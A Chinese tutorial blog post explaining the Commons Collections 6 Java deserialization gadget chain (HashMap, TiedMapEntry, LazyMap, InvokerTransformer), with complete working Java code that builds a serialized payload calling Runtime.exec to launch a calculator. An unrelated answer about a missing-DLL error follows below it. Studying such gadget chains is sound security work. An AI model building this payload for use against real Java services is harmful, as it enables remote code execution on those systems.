Common-Collections 6

Common-Collections 6

在CC1中,我们谈到了java 8u71以后,AnnotationInvocationHandler#readObject 发生了变化,导致原有的链无法利用了,那在高版本的java中,如何改造这条利用链呢?关键在于如何调用LazyMap#get,我们来看一下通用性较高的CC6是如何构造的

/*
Gadget chain:
 java.io.ObjectInputStream.readObject()
 	java.util.HashMap.readObject()
		 java.util.HashMap.hash()
			org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
				org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 					org.apache.commons.collections.map.LazyMap.get()
						org.apache.commons.collections.functors.ChainedTransformer.transform()
						org.apache.commons.collections.functors.InvokerTransformer.transform()
 							java.lang.reflect.Method.invoke()
							java.lang.Runtime.exec()
 */

TiedMapEntry

我们找到了TiedMapEntry这个类,在其getValue方法中,可调用get方法

image-20220925171600699

⽽getValue⽅法可由其hashCode⽅法调⽤

image-20220925171733005

那接下来就是寻找哪里可以触发 TiedMapEntry#hashCode了,这里有两种调用方式,ysoserial中,是利⽤java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key),最后到 TiedMapEntry#hashCode() ;

而我们要利用的是java.util.HashMap#readObject到 HashMap#hash() ,从而触发TiedMapEntry#hashCode(),比原版简洁。

image-20220925172200304

java.util.HashMap#readObject调用了hash(key),从而调用key.hashCode(),我们只需要 让key等于TiedMapEntry即可

image-20220925172313573

构造代码

根据前面的信息和CC1所学知识,我们先初步构造代码

package CCdemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"})};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"6");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry,"value");

        //模拟序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        System.out.println(barr);
        //模拟反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

经过调试发现存在两个问题,第一,expMap.put(tiedMapEntry,“value”)会先执行hash函数,导致我们构造的链子提前执行,虽然会弹出计算器,不过这是由put函数调用执行的,这显然不是我们想要的结果

image-20220926174855635

那如何解决呢?可以参照urldns那条链子的方法,先设置一个假的对象,使其传入LzayMap,到序列化之前,再使用反射将其更改为我们构造的对象

//将faketransformers设置入LazyMap中
Transformer[] faketransformers =new Transformer[]{new ConstantTransformer(1)};
Transformer chainedTransformer = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
//使用反射将真正的transformers数组设置进来
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);

更改代码后,再次尝试执行,没反应,这就需要解决接下来的问题了

image-20220926181342890

第二个问题是,经过put操作后,会使其获得key,从而导致LazyMap的get方法中无法调用transform方法,map.containsKey(key)结果为ture

image-20220926174533911

那如何解决呢?很简单,将其remove即可

lazyMap.remove("6");

完整demo如下

package CCdemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"}),
                new ConstantTransformer(1)};
        Transformer[] faketransformers =new Transformer[]{new ConstantTransformer(1)};
        Transformer chainedTransformer = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"6");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry,"value");
        lazyMap.remove("6");
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformers);
        //模拟序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        System.out.println(barr);
        //模拟反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

运行,成功弹出计算器

image-20220926182012279

总结

这个利⽤链可以在Java 7和8的⾼版本触发,没有版本限制,所以通用性较强

参考:java安全漫谈-phith0n

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
System.DllNotFoundException:“无法加载 DLL“D:\code-collections\visual_studio\learning\Login2\Login2\bin\Debug\nine\nine.dll”: 找不到指定的模块是一个错误消息,意味着在指定的路径下找不到所需的DLL文件。根据引用提到的解决办法,首先需要检查所调用的DLL文件是否存在,并且是否位于可调用的目录中,比如当前目录或system32目录。你可以检查一下所需的nine.dll文件是否存在,并确保它位于正确的目录下。 另外,你还可以使用命令行工具dumpbin来查看nine.dll文件是否依赖其他DLL文件。通过运行以下命令可以检查nine.dll的依赖项: dumpbin /dependents D:\code-collections\visual_studio\learning\Login2\Login2\bin\Debug\nine\nine.dll 在解决这个问题时,还需要判断你的进程是32位还是64位进程。你可以使用Environment.Is64BitProcess来判断当前进程的位数。根据引用提到的方法,你可以通过Environment.Is64BitProcess来判断你的进程是32位还是64位。 总结起来,解决System.DllNotFoundException:“无法加载 DLL“D:\code-collections\visual_studio\learning\Login2\Login2\bin\Debug\nine\nine.dll”: 找不到指定的模块的问题,你可以按照以下步骤进行操作: 1. 检查所需的nine.dll文件是否存在,并确保它位于正确的目录下。 2. 使用命令行工具dumpbin来查看nine.dll的依赖项。 3. 使用Environment.Is64BitProcess来判断你的进程是32位还是64位。 希望以上的解决方法能够帮助你解决这个问题。如果问题仍然存在,请提供更多的信息以便我们进一步帮助你。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [System.DllNotFoundException: 无法加载 DLL“halcon”: 找不到指定的模块](https://blog.csdn.net/u011511086/article/details/129167493)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [System.DllNotFoundException: 无法加载 DLL“xxx.dll”: 找不到指定的模块。 (异常来自 HRESULT:0x8007007...](https://blog.csdn.net/cniteng/article/details/100084942)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [【实测有效,真正解决】VB.NET C# VS sqlite 无法加载 DLL“SQLite.Interop.dll”: 找不到指定的模块](https://download.csdn.net/download/shanxing200/10531358)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值